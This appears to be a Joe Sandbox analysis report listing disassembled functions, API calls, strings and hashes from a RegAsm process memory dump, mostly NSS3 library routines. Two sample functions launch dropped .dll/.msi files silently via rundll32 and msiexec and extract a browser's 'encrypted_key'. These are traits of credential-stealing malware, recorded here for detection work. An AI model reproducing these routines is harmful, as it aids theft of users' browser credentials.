Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 7debfc6e58d0762da553fa6b88a509c87e11099350d7dfc6e78c4389382d880c
Instruction ID: df2db693d584c5e06d6518943c5a97ea6813f3f69f31973f340779ce5abe15f0
Opcode Fuzzy Hash: 7debfc6e58d0762da553fa6b88a509c87e11099350d7dfc6e78c4389382d880c
Instruction Fuzzy Hash: 6F818371E002199BDF00DFA5DC45ADE7BB9BF18358F544024E909A3711E735E964CBE2

Function 6C994CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C994D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C994D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C994DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C994E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C994E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C994E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C994E85
DER_Encode_Util.NSS3(?,?,6CAE05A4,00000000), ref: 6C994EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C994F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C994F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C994F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C994F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C994F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C994FC8

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: be89f16cab12c36532f8fd4a280c282558b0424b5e427d8acfb52ca785d268f9
Instruction ID: 9f8cbc1231d9705badc70fc92eda527d0f2f62ed4603f119af28dd176cc698b9
Opcode Fuzzy Hash: be89f16cab12c36532f8fd4a280c282558b0424b5e427d8acfb52ca785d268f9
Instruction Fuzzy Hash: D181A1719043029FE702CF64D840B5BB7E8AF98748F188929F969DB641EB31E915CF92

Function 6C9C8F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C9C9582), ref: 6C9C8F5B

Part of subcall function 6C9DBE30: SECOID_FindOID_Util.NSS3(6C99311B,00000000,?,6C99311B,?), ref: 6C9DBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C9C8F6A

Part of subcall function 6C9E0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9887ED,00000800,6C97EF74,00000000), ref: 6C9E1000
Part of subcall function 6C9E0FF0: PR_NewLock.NSS3(?,00000800,6C97EF74,00000000), ref: 6C9E1016
Part of subcall function 6C9E0FF0: PL_InitArenaPool.NSS3(00000000,security,6C9887ED,00000008,?,00000800,6C97EF74,00000000), ref: 6C9E102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C9C8FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C9C8FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CAAD820,6C9C9576), ref: 6C9C8FF9
DER_GetInteger_Util.NSS3(?), ref: 6C9C901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C9C903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C9C9062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C9C90A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C9C90CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C9C90F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C9C912D
free.MOZGLUE(00000000), ref: 6C9C9136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C9C9145

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 5f3bab5bab2f1ef571ce695266898794da9c59ec2b3fa86069d93182bee19e61
Instruction ID: 75b1aebb325389c958cc33c02a756ef4783794494b992faa20247050747cce4a
Opcode Fuzzy Hash: 5f3bab5bab2f1ef571ce695266898794da9c59ec2b3fa86069d93182bee19e61
Instruction Fuzzy Hash: 9E51D1B1A043409BE704CF28DC41B9BB7E8AFA9318F064529EC5497741EB35EA59CBD3

Function 6C8BD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8BD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C8BD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C8BD52A
GetCurrentThreadId.KERNEL32 ref: 6C8BD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C8BD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C8BD55F
free.MOZGLUE(00000000), ref: 6C8BD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C8BD5D3
GetCurrentThreadId.KERNEL32 ref: 6C8BD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C8BD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C8BD652
GetCurrentThreadId.KERNEL32 ref: 6C8BD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C8BD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C8BD6A2

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: f17dbc8728153eae9e5e0a0298e36e0795acb014168e363098d6d7da80471fac
Instruction ID: 41eea44705c5427f311152c481d3db30b8d40abe723e686b09734fd15702c79c
Opcode Fuzzy Hash: f17dbc8728153eae9e5e0a0298e36e0795acb014168e363098d6d7da80471fac
Instruction Fuzzy Hash: FC518071604706EFC764CF34C984AAABBF4FF89358F104A2EE85A97711DB30A845CB95

Function 6CA9C8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6CA9C8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA9C8DA
malloc.MOZGLUE(00000001), ref: 6CA9C8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA9C8F8
PR_NewLock.NSS3 ref: 6CA9C909
PR_NewCondVar.NSS3(00000000), ref: 6CA9C918
PR_NewCondVar.NSS3(00000000), ref: 6CA9C92A

Part of subcall function 6C970F00: PR_GetPageSize.NSS3(6C970936,FFFFE8AE,?,6C9016B7,00000000,?,6C970936,00000000,?,6C90204A), ref: 6C970F1B
Part of subcall function 6C970F00: PR_NewLogModule.NSS3(clock,6C970936,FFFFE8AE,?,6C9016B7,00000000,?,6C970936,00000000,?,6C90204A), ref: 6C970F25

free.MOZGLUE(00000000), ref: 6CA9C947

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: 11236ec811ced9796436591984a5613f1ddff543e31a6c3b1c71071cb0f51bb6
Instruction ID: b13f79f873a1ff3589c1e62463a7851c0107f9b9a21122ac81639020c2b4cafc
Opcode Fuzzy Hash: 11236ec811ced9796436591984a5613f1ddff543e31a6c3b1c71071cb0f51bb6
Instruction Fuzzy Hash: F62109B1A00B065BEB10BFB99C0669B37F8AF0525CF044534E85AC2B41EB35E559CBA2

Function 6C97AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C97AF47

Part of subcall function 6CA49090: TlsGetValue.KERNEL32 ref: 6CA490AB
Part of subcall function 6CA49090: TlsGetValue.KERNEL32 ref: 6CA490C9
Part of subcall function 6CA49090: EnterCriticalSection.KERNEL32 ref: 6CA490E5
Part of subcall function 6CA49090: TlsGetValue.KERNEL32 ref: 6CA49116
Part of subcall function 6CA49090: LeaveCriticalSection.KERNEL32 ref: 6CA4913F

FreeLibrary.KERNEL32(?), ref: 6C97AF6D
free.MOZGLUE(?), ref: 6C97AFA4
free.MOZGLUE(?), ref: 6C97AFAA
PR_ExitMonitor.NSS3 ref: 6C97AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C97AFF5
PR_ExitMonitor.NSS3 ref: 6C97B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C97B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C97B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C97B03C

Strings

%s decr => %d, xrefs: 6C97AFF0
Unloaded library %s, xrefs: 6C97B023

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 585bdc15283dcdb233c3384d00397fa7ee2ba41698083e163b55bde6af65ea66
Instruction ID: 06bbba0c27999827ff05df5add18efe77b10847fb60cf1b968e9a5392ecdc8de
Opcode Fuzzy Hash: 585bdc15283dcdb233c3384d00397fa7ee2ba41698083e163b55bde6af65ea66
Instruction Fuzzy Hash: 20317BB5B06212ABDB20AF64DD40A55B7B9EB0930CB188125EC0597A01FB32E879C7F1

Function 6C9C6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C9C781D,00000000,6C9BBE2C,?,6C9C6B1D,?,?,?,?,00000000,00000000,6C9C781D), ref: 6C9C6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C9C781D,?,6C9BBE2C,?), ref: 6C9C6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C9C781D), ref: 6C9C6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C9C6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C9C6C96

Part of subcall function 6C971240: TlsGetValue.KERNEL32(00000040,?,6C97116C,NSPR_LOG_MODULES), ref: 6C971267
Part of subcall function 6C971240: EnterCriticalSection.KERNEL32(?,?,?,6C97116C,NSPR_LOG_MODULES), ref: 6C97127C
Part of subcall function 6C971240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C97116C,NSPR_LOG_MODULES), ref: 6C971291
Part of subcall function 6C971240: PR_Unlock.NSS3(?,?,?,?,6C97116C,NSPR_LOG_MODULES), ref: 6C9712A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C9C6CAA

Strings

dbm:, xrefs: 6C9C6C3A
rdb:, xrefs: 6C9C6C69
dbm, xrefs: 6C9C6CA4
NSS_DEFAULT_DB_TYPE, xrefs: 6C9C6C91
sql:, xrefs: 6C9C6C52
extern:, xrefs: 6C9C6C7E

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 8cafdaba3e62ab6a11f92097e8ab6495c961491712a4c72f6b07079edb23ffda
Instruction ID: 8b37eff941c84e777f0c77a1e7ec6a0ad3bc90a046febae8fe4d45888e9a5bca
Opcode Fuzzy Hash: 8cafdaba3e62ab6a11f92097e8ab6495c961491712a4c72f6b07079edb23ffda
Instruction Fuzzy Hash: 2901A7F17423022BE71027795D4AF36269DAFC125CF144431FF04E0982EE92E52580B7

Function 00412940 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

ShellExecuteEx.SHELL32(0000003C), ref: 00412CD5
ShellExecuteEx.SHELL32(0000003C), ref: 00412E6D
ShellExecuteEx.SHELL32(0000003C), ref: 00412FFA

Strings

/passive, xrefs: 00412F6B
C:\Windows\system32\rundll32.exe, xrefs: 00412E42
.msi, xrefs: 00412EA8
<, xrefs: 00412FA0
/i ", xrefs: 00412EF4
C:\Windows\system32\msiexec.exe, xrefs: 00412FCF
.dll, xrefs: 00412CF5
"" , xrefs: 00412BAA

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 6ee6d052da32828931550af4a5a2f121102e163698b635b400b74046eb065d53
Instruction ID: f1658c825a9884a12c356146fd8d4c6d848a61a952cd10e5c69c9f5a52c1d3c9
Opcode Fuzzy Hash: 6ee6d052da32828931550af4a5a2f121102e163698b635b400b74046eb065d53
Instruction Fuzzy Hash: FA121F71811108AACB14FBA1DC96FDEB778AF14314F40415EF40666192EF782BD9CFAA

Function 00413D90 Relevance: 19.7, APIs: 13, Instructions: 193stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00413DAE
memset.MSVCRT ref: 00413DC5

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00413DFC
lstrcat.KERNEL32(?,00F828C8), ref: 00413E1B
lstrcat.KERNEL32(?,?), ref: 00413E2F
lstrcat.KERNEL32(?,00F82378), ref: 00413E43

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418830: GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Part of subcall function 00409D30: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D89
Part of subcall function 00409D30: memcmp.MSVCRT ref: 00409DE2

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 00418E60: GlobalAlloc.KERNEL32(00000000,00413EED,00413EED), ref: 00418E73

StrStrA.SHLWAPI(?,00F82A18), ref: 00413F03
GlobalFree.KERNEL32(?), ref: 00413FFF

Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
Part of subcall function 00409B10: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
Part of subcall function 00409B10: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrcat.KERNEL32(?,00000000), ref: 00413F90
StrCmpCA.SHLWAPI(?,0042089B,?,?,?,?,000003E8), ref: 00413FAD
lstrcat.KERNEL32(00000000,00000000), ref: 00413FBF
lstrcat.KERNEL32(00000000,?), ref: 00413FD2
lstrcat.KERNEL32(00000000,00420F88), ref: 00413FE1

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Local$AllocFile$Freememset$BinaryCryptGlobalStringmemcmp$AttributesChangeCloseCreateFindFolderNotificationPathReadSizelstrcpy
String ID:
API String ID: 3662689742-0
Opcode ID: 15f129a450f8207e9ca10826aabd4beb647780f382b38ee6a7abf47a213ae614
Instruction ID: d4b1db0ab37bfb67570dd3d18e95715430c5246f155b9e5a4f3dc5da96f51bca
Opcode Fuzzy Hash: 15f129a450f8207e9ca10826aabd4beb647780f382b38ee6a7abf47a213ae614
Instruction Fuzzy Hash: 0D716672900218ABCB14EBA1DC49FDE7779AF48304F00859DF605A7191EA789B85CFA5

Function 6C9D4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C9978F8), ref: 6C9D4E6D

Part of subcall function 6C9709E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C9706A2,00000000,?), ref: 6C9709F8
Part of subcall function 6C9709E0: malloc.MOZGLUE(0000001F), ref: 6C970A18
Part of subcall function 6C9709E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C970A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C9978F8), ref: 6C9D4ED9

Part of subcall function 6C9C5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C9C7703,?,00000000,00000000), ref: 6C9C5942
Part of subcall function 6C9C5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9C7703), ref: 6C9C5954
Part of subcall function 6C9C5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C9C596A
Part of subcall function 6C9C5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C9C5984
Part of subcall function 6C9C5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C9C5999
Part of subcall function 6C9C5920: free.MOZGLUE(00000000), ref: 6C9C59BA
Part of subcall function 6C9C5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C9C59D3
Part of subcall function 6C9C5920: free.MOZGLUE(00000000), ref: 6C9C59F5
Part of subcall function 6C9C5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C9C5A0A
Part of subcall function 6C9C5920: free.MOZGLUE(00000000), ref: 6C9C5A2E
Part of subcall function 6C9C5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C9C5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C9978F8), ref: 6C9D4EB3

Part of subcall function 6C9D4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C9D4EB8,?,?,?,?,?,?,?,?,?,?,6C9978F8), ref: 6C9D484C
Part of subcall function 6C9D4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C9D4EB8,?,?,?,?,?,?,?,?,?,?,6C9978F8), ref: 6C9D486D
Part of subcall function 6C9D4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C9D4EB8,?), ref: 6C9D4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C9978F8), ref: 6C9D4EC0

Part of subcall function 6C9D4470: TlsGetValue.KERNEL32(00000000,?,6C997296,00000000), ref: 6C9D4487
Part of subcall function 6C9D4470: EnterCriticalSection.KERNEL32(?,?,?,6C997296,00000000), ref: 6C9D44A0
Part of subcall function 6C9D4470: PR_Unlock.NSS3(?,?,?,?,6C997296,00000000), ref: 6C9D44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C9978F8), ref: 6C9D4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C9978F8), ref: 6C9D4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C9978F8), ref: 6C9D4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C9978F8), ref: 6C9D4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C9978F8), ref: 6C9D4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C9978F8), ref: 6C9D4F8F
PK11_UpdateSlotAttribute.NSS3(?,6CAADCB0,00000000), ref: 6C9D4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C9D501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C9978F8), ref: 6C9D506B

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
